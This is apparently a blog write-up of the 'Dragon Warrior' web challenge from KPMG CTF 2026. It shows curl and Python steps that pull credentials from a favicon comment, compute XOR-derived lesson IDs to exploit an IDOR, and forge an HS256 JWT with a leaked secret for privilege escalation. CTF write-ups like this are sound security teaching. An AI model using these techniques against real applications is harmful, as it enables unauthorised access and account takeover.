October 13, 2026
KPMG CTF 2026 Web Challenges: The Dragon Warrior Solution
A comment buried in the favicon, an “encrypted” ID that wasn’t, and a JWT I got to sign myself.

By Subadevan C
3 min read
The Dragon Warrior was a 20-point web challenge — a Kung-Fu-Panda-themed SPA sitting on a FastAPI backend. Only the dragon-warrior rank could read /api/scroll, and that's where the flag lived. Everything else was about clawing my way up to that rank.
Flags redacted as KPMG_CTF{REDACTED}. TARGET is the challenge host.
Starting with the login wall
The front page was a login form. I poked at it for a bit — tried po/po, admin/admin, the usual throwaways — and got nowhere, which is normal. The actual way in wasn't the form, it was the stuff the page quietly ships alongside it.
I always skim the static assets before giving up on a login. The favicon here was an .svg, which is just text, so I read it:
curl -s <https://TARGET/favicon.svg> | grep -iA2 -E 'disciple|key|pass'
# <!-- disciple: po key: skadoosh1 -->curl -s <https://TARGET/favicon.svg> | grep -iA2 -E 'disciple|key|pass'
# <!-- disciple: po key: skadoosh1 -->There it was, a set of creds sitting in an HTML comment inside the icon. Logged in and kept the cookie:
curl -s -c c.txt -X POST <https://TARGET/api/login> \
-H 'Content-Type: application/json' \
-d '{"username":"po","password":"skadoosh1"}'curl -s -c c.txt -X POST <https://TARGET/api/login> \
-H 'Content-Type: application/json' \
-d '{"username":"po","password":"skadoosh1"}'Po showed up as a trainee. So now I'm inside, but nowhere near the scroll.
The "dragon seal" is just a JWT
The app kept talking about a dragon seal, so I grabbed mine:
curl -s -b c.txt <https://TARGET/api/dragon-seal/mine> | tee seal.txtcurl -s -b c.txt <https://TARGET/api/dragon-seal/mine> | tee seal.txtIt was a JWT. I decoded the parts to see what it carries:
SEAL=$(cat seal.txt)
for i in 1 2; do echo "$SEAL" | cut -d. -f$i | tr '_-' '/+' | base64 -d 2>/dev/null; echo; done
# header: {"alg":"HS256","typ":"JWT"}
# payload: {"disciple":"po","rank":"trainee", ...}SEAL=$(cat seal.txt)
for i in 1 2; do echo "$SEAL" | cut -d. -f$i | tr '_-' '/+' | base64 -d 2>/dev/null; echo; done
# header: {"alg":"HS256","typ":"JWT"}
# payload: {"disciple":"po","rank":"trainee", ...}/api/dragon-seal/certify promotes you if you hand it a properly-signed seal that says rank: dragon-warrior. HS256 means one shared secret signs every token — so the whole game is now "find that secret." I didn't have it yet, so I went looking for where the app might leak it.
The ID that looked encrypted but wasn't
Po has a training lesson, referenced by a short, opaque id:
curl -s -b c.txt <https://TARGET/api/training/lesson/1a0e>
# ...the lesson mentions a "Jade Cipher": XOR with key "jade-cipher-77"curl -s -b c.txt <https://TARGET/api/training/lesson/1a0e>
# ...the lesson mentions a "Jade Cipher": XOR with key "jade-cipher-77"My first move was the dumb-but-fast one: I tried bumping the id — 1a0f, 1a0d, random hex — hoping for a plain IDOR. Mostly 404s and nothing useful. Then I actually looked at 1a0e: four hex characters, two bytes. "po" is two characters. That's not a coincidence.
So the hypothesis: the id is XOR(username, "jade-cipher-77") in hex. One line to check it:
python3 - <<'PY'
def enc(s, key=b'jade-cipher-77'):
return bytes(c ^ key[i % len(key)] for i, c in enumerate(s.encode())).hex()
print("po ->", enc("po")) # 1a0e -> dead on
print("shifu ->", enc("shifu")) # now I can read anyone's lesson
PYpython3 - <<'PY'
def enc(s, key=b'jade-cipher-77'):
return bytes(c ^ key[i % len(key)] for i, c in enumerate(s.encode())).hex()
print("po ->", enc("po")) # 1a0e -> dead on
print("shifu ->", enc("shifu")) # now I can read anyone's lesson
PYenc("po") came back 1a0e. So the "encrypted" references are just a reversible function of the username — which means it's an IDOR, I just have to compute the id for whoever I want. Shifu seemed like the person who'd know things, so I read his:
SHIFU=$(python3 -c "print(bytes(c^b'jade-cipher-77'[i%14] for i,c in enumerate(b'shifu')).hex())")
curl -s -b c.txt "<https://TARGET/api/training/lesson/$SHIFU>"
# restricted file — hints the seal's signing phrase is "spoken only by Oogway"SHIFU=$(python3 -c "print(bytes(c^b'jade-cipher-77'[i%14] for i,c in enumerate(b'shifu')).hex())")
curl -s -b c.txt "<https://TARGET/api/training/lesson/$SHIFU>"
# restricted file — hints the seal's signing phrase is "spoken only by Oogway"Getting the secret, then signing my own seal
Reading Shifu's restricted file flipped something on the backend — the hint endpoint now gave up an extra line:
curl -s -b c.txt <https://TARGET/api/oogway>
# ...reveals the HS256 secret as a hex string, e.g.
# 980296e6c769e59b36a03231789fed2badd1309d5e3c6a7ecurl -s -b c.txt <https://TARGET/api/oogway>
# ...reveals the HS256 secret as a hex string, e.g.
# 980296e6c769e59b36a03231789fed2badd1309d5e3c6a7eWith the secret, forging a dragon-warrior seal is two lines of pyjwt. One thing that bit me: it's used as the literal hex string, not the decoded bytes — my first forge with bytes.fromhex(...) got rejected, and passing the plain string worked:
python3 - <<'PY'
import jwt, time
secret = "980296e6c769e59b36a03231789fed2badd1309d5e3c6a7e" # literal string, not bytes
now = int(time.time())
print(jwt.encode({"disciple":"po","rank":"dragon-warrior","iat":now,"exp":now+3600},
secret, algorithm="HS256"))
PYpython3 - <<'PY'
import jwt, time
secret = "980296e6c769e59b36a03231789fed2badd1309d5e3c6a7e" # literal string, not bytes
now = int(time.time())
print(jwt.encode({"disciple":"po","rank":"dragon-warrior","iat":now,"exp":now+3600},
secret, algorithm="HS256"))
PYCertify with the forged seal, then read the scroll:
FORGED='<paste forged seal>'
curl -s -b c.txt -X POST <https://TARGET/api/dragon-seal/certify> \
-H 'Content-Type: application/json' -d "{\"seal\":\"$FORGED\"}"
# promoted to dragon-warrior
curl -s -b c.txt <https://TARGET/api/scroll>
# KPMG_CTF{REDACTED}FORGED='<paste forged seal>'
curl -s -b c.txt -X POST <https://TARGET/api/dragon-seal/certify> \
-H 'Content-Type: application/json' -d "{\"seal\":\"$FORGED\"}"
# promoted to dragon-warrior
curl -s -b c.txt <https://TARGET/api/scroll>
# KPMG_CTF{REDACTED}Takeaways
Three ordinary mistakes dressed up in robes. The first creds shipped inside a file every visitor downloads. The object references were "encrypted," but with a reversible XOR of a value I already knew — so it was an IDOR the whole time, not access control. And the signing secret was reachable from inside the app, which means every HS256 token stops meaning anything the moment you can read it.
The part I'd actually call clever is the progressive unlock — you can't read the secret until you've used the IDOR to read Shifu's file first. It makes you do the chain in order instead of jumping to the end. Tidy design for a 20-pointer.